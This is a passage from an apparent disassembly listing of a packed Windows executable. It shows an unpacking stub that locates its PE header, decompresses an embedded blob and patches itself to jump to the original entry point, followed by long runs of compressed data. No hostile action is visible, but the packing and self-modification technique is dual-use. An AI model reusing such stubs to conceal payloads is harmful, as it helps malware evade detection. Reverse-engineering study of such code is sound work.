cmp [eax], bx
jnz short loc_4E006D
movzx edx, word ptr [eax+3Ch]
add edx, eax
mov ebx, 44E9h
add ebx, 67h
cmp [edx], ebx
jz short loc_4E0074
loc_4E006D: ; CODE XREF: start+45j
sub eax, 1000h
jmp short loc_4E004E
; ---------------------------------------------------------------------------
loc_4E0074: ; CODE XREF: start+57j
mov edi, eax
loc_4E0076: ; CODE XREF: start+1Bj
jmp loc_4E0265
; ---------------------------------------------------------------------------
db 3
dd 26AB9C7h, 0CF03000Eh
db 0EBh, 0Ah
; ---------------------------------------------------------------------------
loc_4E0086: ; CODE XREF: start+8j
mov eax, offset loc_53C7BF
mov ecx, offset word_4E026A
push eax
push ecx
call sub_4E011B
call $+5
pop eax
sub eax, 26h
mov ecx, 1EFh
mov byte ptr [eax], 0E9h
sub ecx, 5
mov [eax+1], ecx
popa
jmp loc_4E0265
start endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dw 9328h
dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh
dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh
dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh, 0D8B164C8h
dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
db 0C8h, 0E4h, 0F2h
; =============== S U B R O U T I N E =======================================
sub_4E011B proc near ; CODE XREF: start+7Ep
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov esi, [esp+20h+arg_0]
mov edi, [esp+20h+arg_4]
cld
mov dl, 80h
loc_4E0127: ; CODE XREF: sub_4E011B:loc_4E013Bj
mov al, [esi]
inc esi
mov [edi], al
inc edi
mov ebx, 2
loc_4E0132: ; CODE XREF: sub_4E011B+7Aj
; sub_4E011B+C3j ...
add dl, dl
jnz short loc_4E013B
mov dl, [esi]
inc esi
adc dl, dl
loc_4E013B: ; CODE XREF: sub_4E011B+19j
jnb short loc_4E0127
add dl, dl
jnz short loc_4E0146
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0146: ; CODE XREF: sub_4E011B+24j
jnb short loc_4E0197
xor eax, eax
add dl, dl
jnz short loc_4E0153
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0153: ; CODE XREF: sub_4E011B+31j
jnb loc_4E0238
add dl, dl
jnz short loc_4E0162
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0162: ; CODE XREF: sub_4E011B+40j
adc eax, eax
add dl, dl
jnz short loc_4E016D
mov dl, [esi]
inc esi
adc dl, dl
loc_4E016D: ; CODE XREF: sub_4E011B+4Bj
adc eax, eax
add dl, dl
jnz short loc_4E0178
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0178: ; CODE XREF: sub_4E011B+56j
adc eax, eax
add dl, dl
jnz short loc_4E0183
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0183: ; CODE XREF: sub_4E011B+61j
adc eax, eax
jz short loc_4E018D
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_4E018D: ; CODE XREF: sub_4E011B+6Aj
mov [edi], al
inc edi
mov ebx, 2
jmp short loc_4E0132
; ---------------------------------------------------------------------------
loc_4E0197: ; CODE XREF: sub_4E011B:loc_4E0146j
mov eax, 1
loc_4E019C: ; CODE XREF: sub_4E011B:loc_4E01B0j
add dl, dl
jnz short loc_4E01A5
mov dl, [esi]
inc esi
adc dl, dl
loc_4E01A5: ; CODE XREF: sub_4E011B+83j
adc eax, eax
add dl, dl
jnz short loc_4E01B0
mov dl, [esi]
inc esi
adc dl, dl
loc_4E01B0: ; CODE XREF: sub_4E011B+8Ej
jb short loc_4E019C
sub eax, ebx
mov ebx, 1
jnz short loc_4E01E3
mov ecx, 1
loc_4E01C0: ; CODE XREF: sub_4E011B:loc_4E01D4j
add dl, dl
jnz short loc_4E01C9
mov dl, [esi]
inc esi
adc dl, dl
loc_4E01C9: ; CODE XREF: sub_4E011B+A7j
adc ecx, ecx
add dl, dl
jnz short loc_4E01D4
mov dl, [esi]
inc esi
adc dl, dl
loc_4E01D4: ; CODE XREF: sub_4E011B+B2j
jb short loc_4E01C0
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_4E0132
; ---------------------------------------------------------------------------
loc_4E01E3: ; CODE XREF: sub_4E011B+9Ej
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
loc_4E01F1: ; CODE XREF: sub_4E011B:loc_4E0205j
add dl, dl
jnz short loc_4E01FA
mov dl, [esi]
inc esi
adc dl, dl
loc_4E01FA: ; CODE XREF: sub_4E011B+D8j
adc ecx, ecx
add dl, dl
jnz short loc_4E0205
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0205: ; CODE XREF: sub_4E011B+E3j
jb short loc_4E01F1
cmp eax, 7D00h
jnb short loc_4E0228
cmp eax, 500h
jb short loc_4E0223
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_4E0132
; ---------------------------------------------------------------------------
loc_4E0223: ; CODE XREF: sub_4E011B+F8j
cmp eax, 7Fh
ja short loc_4E022B
loc_4E0228: ; CODE XREF: sub_4E011B+F1j
add ecx, 2
loc_4E022B: ; CODE XREF: sub_4E011B+10Bj
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_4E0132
; ---------------------------------------------------------------------------
loc_4E0238: ; CODE XREF: sub_4E011B:loc_4E0153j
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz short loc_4E0259
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
mov ebx, 1
jmp loc_4E0132
; ---------------------------------------------------------------------------
loc_4E0259: ; CODE XREF: sub_4E011B+125j
sub edi, [esp+20h+arg_4]
mov [esp+20h+var_4], edi
popa
retn 8
sub_4E011B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_4E0265: ; CODE XREF: start:loc_4E0076j
; start+9Dj
jmp loc_53C7BF
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
word_4E026A dw 38E9h ; DATA XREF: start+77o
dd 1523350h, 7122FFBEh, 38FF0EE1h, 0F9AE4701h, 36A39837h
dd 0BFA00356h, 0B8012AA4h, 3F848B98h, 3C613AAh, 0A3FA588Ah
dd 8D037024h, 1D22F977h, 0A5D737C2h, 17E1897h, 6D656854h
dd 0C2616469h, 0FC75019Dh, 15C29245h, 1721F957h, 30785708h
dd 312D3834h, 0C8AFAB42h, 0EA43B811h, 736552F0h, 7261741Ch
dd 2F7041CEh, 9C784F2Eh, 35917523h, 90FF8F70h, 5508F733h
dd 8F0170FEh, 0C58B70FFh, 6038D4E4h, 5D44E8h, 335FED81h
dd 95890607h, 0D133D31h, 21EAC1B5h, 294585h, 41E9BD83h
dd 0C74C010h, 17E88B39h, 2D23B8E2h, 3870DEC2h, 3EE22444h
dd 6A002F95h, 0C1A3E845h, 749A6829h, 0DFD2F783h, 4B250A80h
dd 0D5F40A89h, 5214E988h, 80BEEC02h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add esp, 56h
fsubr st, st(6)
add bl, [edx-7Fh]
jmp far ptr 0C7DAh:8B00344Dh
; ---------------------------------------------------------------------------
dw 4845h
dd 0ED808D8h, 8C78940h, 80E67D81h, 0F74331Dh, 83F90820h
dd 0FF1024B7h, 0EB4312C3h, 0DC361BE1h, 0C9A02661h, 46A004C2h
dd 7C34C481h, 497202FFh, 458D2096h, 5D0A8B80h, 1985C708h
dd 8D505022h, 0C305D10Ah, 89411888h, 0BD810B45h, 145D0610h
dd 0A127E375h, 6447BA8Dh, 8A807560h, 0F4BB240Eh, 0ABB8805Bh
dd 0D3785437h, 0F61D07Eh, 0F7754B08h, 29C3AFD8h, 234A4647h
dd 42F91546h, 8A61D115h, 0F03AD0D0h, 45EEC5FEh, 0EB4D05FCh
dd 46AD1E04h, 403E8046h, 84BAF729h, 7D3034B7h, 0C87FEB0Ch
dd 6D66F83Eh, 65F04212h, 1040F40Eh, 0F065C14Ah, 0F8D6A004h
dd 3E01CD1h, 3328B0C2h, 1C0E8ADBh, 66FB8030h, 1E0A0A72h
dd 9F057739h, 223379EBh, 0DFB6114h, 0B7660A3Fh, 0A7AF1E08h
dd 10560AC3h, 7241181Ah, 77460A0Bh, 5124066Fh, 0F05D010Ch
dd 8339F4ECh, 72028D7Dh, 0C09B0CB0h, 0AAB3A576h, 0E7F82620h
dd 0B58D03h, 0FC553BA8h, 7854820Fh, 0AAE0B0BDh, 0BA2838DFh
dd 0B9700870h, 0BDFC7054h, 35DC20h, 49470FFEh, 22B9FA75h
dd 0BBEE6AE2h, 0F1FA0171h, 0CEB8237h, 868EC08Eh, 1C0837E1h
dd 1B655107h, 72FF1D36h, 785268Ah, 590500E9h, 8D10DA8Ch
dd 0F6130267h, 190F8873h, 0B0AEA0Fh, 7FBFEC51h, 0B341F900h
dd 0C32CB6BEh, 3054FE6Bh, 212704E9h, 8AE4C45Ch, 5255D06h
dd 60084582h, 5444211Bh, 0F80014C4h, 0D72D0C5Fh, 0CCE08C6Dh
dd 67FEF19Ch, 40B8BC1Eh, 1034CBCCh, 4E390382h, 100F765Bh
dd 43D51F0h, 3B76D17Ch, 75584661h, 11D52E09h, 0EC480E80h
dd 69065E4h, 0C58475A0h, 968E050Ah, 539192F4h, 51C204E1h
dd 9B718C29h, 760EE7CEh, 2BFF61A8h, 80047781h, 0C1341D22h
dd 3233F984h, 3FBC2075h, 0CD0AEE0Eh, 0B50130EFh, 8CC4EC41h
dd 0FFCCCF7Fh, 456740C8h, 6028E9F5h, 52C40062h, 11254D8Ch
dd 0B142AA82h, 845AAB66h, 56531384h, 825E05F8h, 8154FFEEh
dd 7DBD2219h, 13B9518Ah, 94972302h, 67610043h, 623734BAh
dd 0D478F081h, 7DA8D24h, 5E875611h, 6D8A22C4h, 46101531h
dd 3009C456h, 18D98C67h, 1B3536h, 7DFA8BF5h, 8153DE3Eh
dd 305E23Ch, 8610CA0Bh, 0EA2B1830h, 469A0B0Eh, 0F22FFC00h
dd 9488ACFEh, 5AE70119h, 0BE86C823h, 73E6A91Ah, 38A1006h
dd 0B6B40C0Dh, 820F2AEAh, 0E21FE405h, 1D275D19h, 9E98CF8h
dd 0A500180Bh, 0B6A686F1h, 5210038Ch, 0BC029582h, 7FBEC535h
dd 9E868640h, 104686FBh, 2012DFC0h, 0E9300E9Ah, 3F42350Bh
dd 6EBD0022h, 0F5E62371h, 0BF006790h, 0F960C26Dh, 6427C882h
dd 4013F96Ah, 66DBE22Ch, 60BC00CCh, 32D73C54h, 87029064h
dd 0E2AC8834h, 825F8169h, 2CC8BECBh, 8C5C1C7Ah, 1B0D92C4h
dd 0F2F80C55h, 491A6B95h, 400EFA66h, 0C83EF38Ch, 4B00F420h
dd 0BB24395Eh, 31AEFEF5h, 8B428A27h, 0C32681E6h, 5305EC84h
dd 40065250h, 2C8D01CAh, 0F01CAE27h, 8961E0ACh, 203E7700h
dd 825B6E8Eh, 846AF3FCh, 11F2084Bh, 0E706A3A8h, 1DEAC70Fh
dd 14C00115h, 0BAA81E63h, 0E7883067h, 21B297FEh, 0EFFEF300h
dd 0C1853C0Ah, 8D90011h, 3DD7C509h, 7C00834Fh, 664D96D5h
dd 14B132h, 0BB94561Eh, 46CA8C61h, 498E3401h, 415B7583h
dd 10483187h, 1C184C7Ah, 0AA21B60Ch, 0E04106Eh, 246F68BEh
dd 5ACA8E60h, 0E6E0A485h, 0A130E4E8h, 18494088h, 0C88A1871h
dd 0EAAC70D3h, 118BD900h, 0CA0ECD8Eh, 3EE40343h, 4F19E90h
dd 3AD1000h, 0CDC2F644h, 4D500067h, 0BD1C8956h, 4002F88h
dd 26AB13AAh, 60A1856Ah, 0C8F698Eh, 0EC005A40h, 5FD4F38Bh
dd 4E85C9Ah, 0FFB950C5h, 66D3C788h, 9F1C88D5h, 0CA872390h
dd 0C77F8F6Eh, 60CF83A6h, 70BD3274h, 9E8C000Ah, 2CF00848h
dd 0C9007EB8h, 0A5F1AA83h, 0FF2B1D7h, 0B3A649Ah, 0F600DD0Fh
dd 0C7E451Bh, 61110C1h, 1883DE22h, 0FB33C6A4h, 50C38A6h
dd 101236EDh, 19456040h, 0CEE274ECh, 0D42B3D00h, 0D9A8B6F2h
dd 0A10E00C2h, 3171E79Fh, 1100FFB0h, 0D870465Bh, 1E1745D5h
dd 304310EEh, 0FEAAD769h, 0F6088h, 4DE86404h, 884FCC31h
dd 84BDFF07h, 0FEC0C926h, 1E660A6h, 0B7DE896Ch, 0BBECEDEEh
dd 0AB17A849h, 82581E00h, 0FDB38D26h, 0B4B801A6h, 0AAF3886Ah
dd 0FE698009h, 0C96913Ah, 57EB0021h, 72CB5D38h, 401B99Fh
dd 0C72DB007h, 3183FD35h, 5A31EE83h, 0BD803Bh, 5593A8F3h
dd 8BC3BB1Fh, 2E71AED8h, 0B42D4C00h, 264209C6h, 0E9E21D69h
dd 0C22B407Eh, 4B395402h, 0E452A0A8h, 0F7B83Dh, 1F2C28BFh
dd 6D41B59h, 0B5270455h, 5A1F704Eh, 4D057371h, 0D4050926h
dd 8C053AB4h, 0EC408550h, 6E4C9BF6h, 3BCC80FEh, 82888C50h
dd 0CE59DB0Fh, 498140Ch, 50B8645Bh, 0F3985C6h, 0CC95EAE9h
dd 75FABE81h, 80CAEC2Dh, 0B8707D7Dh, 0A245730Ch, 0C195826h
dd 43310F24h, 0ABFE2199h, 17F75305h, 8440C8BBh, 0C0F9A30Eh
dd 0E56FC61h, 0FA995B9Ch, 46558DE0h, 2515D30Ch, 0D8881Fh
dd 2CFE78C5h, 89B805EFh, 0FBAAD4CEh, 751B80C1h, 0EE002B7Eh
dd 29201724h, 0D4D27D5Eh, 8BC02049h, 0E311390Fh, 50F64E06h
dd 1E9A884h, 5CA15B46h, 24B7529Dh, 0B0184A3Ch, 0F968D032h
dd 0CC4C5439h, 386A00DFh, 1A97082h, 9319C3A6h, 94A85CA2h
dd 5DC0A444h, 60F036D9h, 68F9108Bh, 5B1555F4h, 784C7BBh
dd 64FD698Ch, 0C10EB7D0h, 9E99584Ah, 3A6A5B09h, 40420404h
dd 17641221h, 169AEAE9h, 0EA4057h, 656AB7B7h, 540325C5h
dd 7A504843h, 44D1099Bh, 0B480D96Bh, 4318E4FAh, 49018805h
dd 70035F9Dh, 7CA38750h, 0AAE81531h, 1800940Fh, 0F96F2AD8h
dd 8C0074D4h, 0D67FDB53h, 5F0716h, 806AF3FEh, 484C5185h
dd 4698CA08h, 0D02C94C1h, 1AF21A10h, 80F1D9BBh, 72D0CFA8h
dd 0E487043Eh, 90F4EED4h, 0C5BB2394h, 629188h, 4134A62Eh
dd 72D856EEh, 4FE61A00h, 0B6ABF7ECh, 1EF60AB9h, 1CF47AE7h
dd 6B26C652h, 3703D8DFh, 883FF8C8h, 0D75103CBh, 95FDB0CEh
dd 3EAD9005h, 3C00A807h, 81A05B15h, 4A053026h, 6FF15350h
dd 7470A848h, 638F6000h, 0BEADFDBBh, 2B790055h, 1978F703h
dd 0D200820Ah, 0C92AF1E3h, 0F6BC637Ch, 0E1CB3F05h, 3E70E80h
dd 5DAC0146h, 2410D30Fh, 72ED0304h, 0A451E04Bh, 0D6580044h
dd 0E3B9708Fh, 0D1002A89h, 0ACD02687h, 2CCA802h, 0BBF21220h
dd 0CE0BD93h, 8107EB49h, 34B59D6Fh, 36D6A7A0h, 80715014h
dd 13D7F4E3h, 304DF6C0h, 37D28724h, 7D3B0A38h, 8B9E773Ch
dd 8AE65943h, 6001508Bh, 5CCE16ECh, 485A9670h, 1051A82Ah
dd 151B20D2h, 18D2FAE2h, 0BE431B00h, 0FE079BFCh, 2827F8BAh
dd 4CA05359h, 131010B7h, 164314DDh, 0B0049FC4h, 0FF1EDB26h
dd 0CB31781h, 2403A93Ah, 1F001A3Ch, 0D971C944h, 0F00485BEh
dd 586A60E5h, 0FF5D12B6h, 38345977h, 0AF80B892h, 75804AD2h
dd 0A158C14Fh, 8322BA54h, 0BEB06AA8h, 2D7100C1h, 35F55BEEh
dd 0F6378854h, 0CCF1A1D0h, 5824A6B0h, 0DE151873h, 8212400Ah
dd 52DC5F48h, 0B41F2654h, 120B5A08h, 0B93445CAh, 0CEA8028Dh
dd 0E302A780h, 899CA397h, 0B5F1F808h, 71777485h, 8F1738DBh
dd 542DEC00h, 86DE732Ch, 507C420Ah, 0A340B883h, 8024D66Ch
dd 9415C463h, 0A4B260h, 0E1E2F5A6h, 0A37A74C6h, 0C7D3A8FCh
dd 0E8994934h, 82EA5600h, 2968FC33h, 21CB1232h, 26832289h
dd 5ACF088h, 460732C6h
dd 819CE3C0h, 4ADA5F01h, 5A0AFF36h, 69334184h, 49F642A4h
dd 8107026Dh, 8B40CE1h, 88CB334h, 0D5004DEDh, 7E1B068Ah
dd 0B828C2C0h, 0D82002A9h, 0FED9DB19h, 6B930086h, 62D17EC5h
dd 0DA503A98h, 51034CCCh, 7B18D2F3h, 1421895Ch, 0AAFCC3E6h
dd 0C11E0443h, 82D8B0F8h, 0ACE6E889h, 0AE90837Bh, 0F0D940A2h
dd 0CE00E582h, 0A760C788h, 92D7B760h, 4020B004h, 36141D6Bh
dd 55E89AC8h, 0CE6AA80h, 0E0E1F717h, 0D1197C06h, 0C72B0C71h
dd 44699FE4h, 118B7E07h, 10EC3FAh, 175AA36Bh, 0A8B7EC30h
dd 9D945E4h, 465253CCh, 23CA8807h, 9018D4E2h, 0E359C6BCh
dd 202C034Ah, 4D953C63h, 0D0FA54E8h, 61B9A0Ah, 9007781Ch
dd 32538412h, 0E0C00480h, 19EB4CEh, 71DB1E83h, 98D0F852h
dd 40AD16D0h, 0E6135C5Fh, 244C6D8Dh, 3B98C993h, 0DB80143Bh
dd 0F0D5CA69h, 0A8005E38h, 0FF133023h, 6665D1Fh, 0AAD84975h
dd 9B3F5908h, 710280C3h, 681D7EDAh, 7DC60694h, 0B1DCBA8Bh
dd 0A5257600h, 0B3369D60h, 0C581FD5h, 81D7837Eh, 810099E4h
dd 3B69AF48h, 10F1A2h, 1F225E4Dh, 4439E8F4h, 73E2709Ah
dd 9FE9C601h, 7527BDA2h, 0B81D8AFCh, 0D05500ABh, 5A8606DBh
dd 6460D9E6h, 0A9272BE0h, 3254BA60h, 0E31902CEh, 0AC93E090h
dd 0FE573A1Dh, 7903576Ch, 0A0361961h, 327C1118h, 42C2A3BDh
dd 604446E2h, 2C89CD30h, 1047E2Fh, 62ADB64Bh, 0FC4337E6h
dd 73E9D4CCh, 27DC1F24h, 490CFA97h, 77A89E74h, 10B8491Eh
dd 41ED1A00h, 0C9230F2h, 0C5AAB112h, 2D1EE020h, 57E1806Ch
dd 20250625h, 18E6E0CCh, 0ACFCA093h, 38E6CEA1h, 21051098h
dd 84C614A8h, 49E39940h, 44002427h, 17229F5Bh, 0B8805341h
dd 94B93B63h, 0CA825CC8h, 0A0687288h, 3B03DDACh, 115A3718h
dd 0EC87C482h, 96F28008h, 4A882175h, 44FED90Ch, 485B70A8h
dd 0E6CE8443h, 46748620h, 1C131988h, 0A0257950h, 17EC1CC9h
dd 0EA1E0091h, 4920D4B8h, 0F5006F67h, 68DF10F8h, 95B8903h
dd 1A4A1579h, 7C17D403h, 5C624D98h, 49927705h, 3C400BCCh
dd 325FBA2Eh, 0AE131660h, 0DA50041Ah, 19A00D9h, 0B22E8050h
dd 4A5DFEA8h, 0CA001FEh, 70BDEFFCh, 9D72A63Dh, 5172C0Ch
dd 9DA1059h, 0E827069Ch, 902974A0h, 5433815Bh, 0C9CC4132h
dd 4065D186h, 1956BC00h, 0FDA63245h, 2E1B220h, 0E31051C5h
dd 1A885091h, 97008670h, 9B1D3A9Eh, 1F4195Fh, 0ABA9E883h
dd 5752FF4Eh, 5C11A1E4h, 0FDDC304Ah, 6D0E1084h, 28B83041h
dd 5D3645ACh, 0F331A05Ah, 427C6E8h, 8986880Dh, 38F8F441h
dd 0F0AA1894h, 0C30DF9Fh, 9638D69Fh, 94AC0640h, 4F69424h
dd 6D819E1h, 3C413458h, 0C1E4C271h, 1A152100h, 0B441823Bh
dd 4B2FD28h, 50CC98h, 0C4BF393Ch, 1AB551EDh, 6A65401h
dd 0DE6DAD10h, 80F468C2h, 0F1E94141h, 5F688808h, 5DE60298h
dd 701048Eh, 44E4C663h, 0E4220087h, 6B15AF55h, 75E2F641h
dd 94FDB626h, 0F5879821h, 4C8459D3h, 0A83020D7h, 9BBDBFh
dd 2F3255EAh, 0B4E12B88h, 365B2E0Ch, 59FF2958h, 0E3041CB8h
dd 0B046B338h, 0A41461ECh, 4C28C6D6h, 718D10D4h, 0B3995A08h
dd 4D272C2Ah, 0CCCC021Eh, 0AA0890BAh, 79B4A87Fh, 41896FEFh
dd 40681712h, 0CC8FE1F8h, 84A856B8h, 363053F9h, 4DFA7950h
dd 69347D13h, 0EC82214Ah, 0B920FC36h, 0A8EE5343h, 54751918h
dd 3234D806h, 8F71B072h, 0A0AE3C23h, 28516B96h, 861F65h
dd 0D83A33D1h, 4DAD2AC0h, 12410E63h, 48F58ABAh, 3DD9BF18h
dd 0A854B8F4h, 0EA3A1E4Fh, 0F5B10039h, 48C6D778h, 0FF7989C5h
dd 0AAD39820h, 0BB4388ACh, 0BC4A0326h, 66A0C501h, 2CFCAE61h
dd 4E6E00E7h, 8DDA9BDh, 34007F63h, 20EDBF57h, 9B90C3h
dd 0D766BC87h, 9891387Eh, 0FBA823Ch, 20EA555Eh, 8F5B74DFh
dd 76C43EFAh, 2E3B3C00h, 0D970CEA2h, 9C0C967Dh, 40255ABBh
dd 0F18BF293h, 19EABF00h, 0B616D400h, 1CE0EC8Ah, 0D72D006Fh
dd 5CEDBB14h, 8B0F8385h, 6025AC9Ch, 96888A7Fh, 66AD009Fh
dd 1A97B155h, 0B62968D4h, 0A415EC94h, 50F9AA04h, 98AC5AF8h
dd 16D62812h, 0F7F9D800h, 2D771Ah, 0EC7C6F3Fh, 84D13859h
dd 1CBB8A03h, 0E0376D25h, 0FAFF9098h, 40556052h, 0D8096EE0h
dd 1085F700h, 14242C6Fh, 4BFA00C9h, 0C7939631h, 0B50039C6h
dd 9A90CD17h, 8366E38Fh, 6DE122F8h, 85FD80h, 3B426401h
dd 5DF6C714h, 0A783DC00h, 0E11CBFF5h, 8CF023h, 38C0A09Ah
dd 22A1E351h, 973D500h, 2D2FBBFh, 38404C64h, 75949177h
dd 0A9FC68D1h, 64DB001Eh, 85FA8A5Bh, 42036F73h, 0F2C4143Ah
dd 8B93C94Bh, 66A2F8h, 91DD6CE3h, 31ADCC8Dh, 9C555B3Bh
dd 0B280E721h, 1AC4A9D4h, 7E2D0065h, 4C08D361h, 58018EC2h
dd 0D916C3E4h, 8DF8C96Eh, 40FF60C8h, 0E6209757h, 7A9B680h
dd 446F75DBh, 0EEBF307Eh, 7A00375Fh, 22A2B74Fh, 0FCCD7125h
dd 0AD8B009Eh, 97B9A532h, 2100D42Ch, 0DAF6BD59h, 59447175h
dd 0A8AB8C80h, 591D0099h, 0DF1EEAAEh, 0BC035B73h, 7604C9F9h
dd 0F0148880h, 9E5140EBh, 23A19B00h, 0CF3562D7h, 0AE8B0E91h
dd 0AD606766h, 4A6C2221h, 0F5F8D103h, 0C8406E74h, 0B3C057h
dd 4E95DB59h, 0E72DBF83h, 0F40194FCh, 37FAA098h, 19D8A9A5h
dd 5D6200E5h, 585EDCCh, 3F007F59h, 4AEAEE14h, 604E8432h
dd 71E87081h, 92038EC9h, 0A55CBB8Fh, 0D328B09Eh, 0D84F0021h
dd 6747E0F5h, 150B4042h, 477B3D0h, 0CE4095ACh, 8D7D3716h
dd 4688C252h, 8EECFF04h, 0C5450D2Ch, 60477500h, 7D6901A3h
dd 26B1293Dh, 3F035634h, 1B25B92Ch, 6F12E851h, 2DA35C37h
dd 15F48409h, 0BB1E60C5h, 0B9186E59h, 60BC46F0h, 19F721D3h
dd 59064BBAh, 58A81F75h, 21CA6009h, 1DBA0197h, 0BBD81600h
dd 0E6CD1C8Eh, 0FA44009Ah, 0BDDDA505h, 81270E82h, 0FBD84042h
dd 5B6301A1h, 0E5EF04F1h, 2C422F70h, 20DE89C8h, 76B834D9h
dd 0A40150BCh, 514B44A3h, 0B4B33892h, 75001F30h, 0DD9AA713h
dd 5650CAC0h, 42201C90h, 0E8D1704Ah, 7AC498CEh, 0ADFD024Ah
dd 0BC531C03h, 3A801C76h, 0FBB68C8h, 9BF500A1h, 0F43322B4h
dd 720059E6h, 0B37E295Fh, 398B5145h, 0CC861D80h, 70E72698h
dd 0B18193Ch, 0C9F6AA90h, 19C2CEACh, 0B40814A3h, 0BA20C04Dh
dd 3D465944h, 9E00C422h, 8B0EBA08h, 0C07297B4h, 0DC6B46E1h
dd 151528DEh, 2134086Eh, 804B9197h, 594ABA1Ah, 0CF448C0Dh
dd 0BA020398h, 0C678CEB4h, 431C7F8h, 1B3C259Fh, 0CCBD2400h
dd 0E6B843CAh, 2F3E980h, 0C6595690h, 0E4878AC8h, 365BC055h
dd 10C09F28h, 96E5B27Bh, 0DD340C53h, 0CA58FAA9h, 0C77A9019h
dd 5E2BBB40h, 6E0C00C4h, 0C8B9314Bh, 7F4EA3Dh, 6C0A0563h
dd 0FCE0C0BBh, 22C9127h, 594F365Ch, 92112C56h, 0A796F000h
dd 6B5C99E4h, 5495F800h, 0BA1EC10Ch, 0D97F0405h, 0ED845048h
dd 0BE5100C0h, 8849D1CCh, 3B14EEE4h, 260D9A63h, 5B680CE2h
dd 0B652C090h, 16984FEh, 1978862Bh, 30A4E75h, 0F3A7E101h
dd 0F1D61C20h, 0D24DAD00h, 82EFB41h, 210FDCE4h, 17FAA114h
dd 7C424C0Dh, 89B12029h, 0F90C2505h, 59946354h, 55FB092Bh
dd 8020B440h, 0B7E15651h, 8877CA03h, 4F3F32D3h, 78249008h
dd 0FF38E14Eh, 981ABDCCh, 2B881D62h, 0F1902F9h, 95268402h
dd 8A00485Eh, 5D3790C0h, 19FB0929h, 5CD0364Dh, 0DCF0121Fh
dd 1042160Dh, 2650C048h
dd 4F3C9A80h, 0A9009495h, 0B0089FB4h, 9D184A01h, 1731B55Ch
dd 0D1E603B2h, 0F477841Ch, 153D023h, 0CA89E154h, 88481847h
dd 0E1024C72h, 0BE1FEF2Fh, 1BC7818Fh, 9980476Dh, 3945E5FBh
dd 0EF277A0Dh, 0D82CE115h, 2070A89Dh, 1273A78h, 8460C8E3h
dd 53F4018Fh, 0FF55941Bh, 8B099823h, 886421h, 32F595F4h
dd 0F9D07BE2h, 7D14E617h, 0DDAC9CC1h, 31A0609Ah, 4D760885h
dd 0F0B9F9F8h, 90C928F2h, 9CEC190Ah, 0D0111FF2h, 0D6FC5380h
dd 6017D46Dh, 64D6B3B9h, 20246E0h, 1B54F490h, 1097319Ch
dd 3F48163h, 906F4F68h, 0D2DC1682h, 3847B7E4h, 74605D44h
dd 7F007EC6h, 0D579C298h, 7B80CC73h, 12AC9A3Bh, 0A018F24Dh
dd 0A13EBB78h, 97E8925Ah, 0EE26B8F0h, 4C40820Ch, 449843CEh
dd 0C8B4020h, 447D0F01h, 0F700B820h, 328EADFBh, 1DF68D9h
dd 8F495926h, 0EBA69854h, 1E4A7012h, 17F7CB2h, 408FC0ACh
dd 0E0016DCEh, 0ACA8C1BBh, 0D000557Ah, 0FB430703h, 0E3F848h
dd 323E5458h, 505FBF69h, 82002C78h, 0E89D5101h, 94A0BE3h
dd 23531B90h, 0A1A0648Fh, 0C9827702h, 94E6D713h, 76CA24A1h
dd 7DD38010h, 8B19855Ah, 884CDC28h, 2FCD620h, 5D1F511Ch
dd 84C26B79h, 6057C004h, 21B5E158h, 76C067CAh, 0CFE150h
dd 0A0AAF5F4h, 0A131B862h, 3E97B208h, 0C8E125DCh, 0DCFC0423h
dd 8F559A87h, 70F8C9C7h, 73372731h, 0ED0E1AEEh, 0E759E0CDh
dd 0AC1781D7h, 0C8643662h, 971C0504h, 0C6608CA0h, 79808D90h
dd 6AED24EFh, 35B164C0h, 8C7B502Eh, 0E06A9300h, 0EDCB3C07h
dd 42C60476h, 9850B1BAh, 4DF41F9Ch, 0BC25592Ch, 3079D70h
dd 50FDB7BAh, 6103A77Fh, 0D3F45146h, 0BE93A006h, 5B1013DBh
dd 176CF2BDh, 7C040394h, 89044485h, 6D4B9A9h, 3DBAC6B6h
dd 943800B8h, 97F40619h, 4F00BB28h, 3724B70Ch, 0C098E3B6h
dd 0D1F7A271h, 0CD000E1Bh, 0B508B3A9h, 0B796C8h, 97D2E729h
dd 3C524FABh, 0DFEDDE1Ch, 7CBF5A00h, 13FDF3A8h, 0E2E63087h
dd 0FE1D0EFCh, 0F1DC2744h, 0E81B841h, 0A9AC41EDh, 0F2AA0868h
dd 0DA6DAD05h, 82172CD1h, 3D361360h, 0B7803433h, 0B4D11681h
dd 6D24A6FDh, 133C5429h, 74F4E4E6h, 95120023h, 6AD83994h
dd 24FF7690h, 0D6204528h, 0CBC0041Ah, 0C0851F23h, 0FDB8CDC0h
dd 1BDC4484h, 7365D1Ah, 0D0C4C30h, 70AACBF5h, 399093D9h
dd 2E870CA0h, 891415E8h, 38102806h, 6420C6E2h, 0B998E8A7h
dd 18D0D1C4h, 0BF5C00C5h, 0E8D7B587h, 24581996h, 0CD3A3E84h
dd 0F2750858h, 610B3FFAh, 789087A4h, 4C3E16B1h, 67840113h
dd 687BB5F4h, 21110898h, 13005436h, 2C5A8507h, 5CF03A1Dh
dd 561010EFh, 0D8243CC1h, 60270808h, 0D8F631C0h, 0F4D8BCA3h
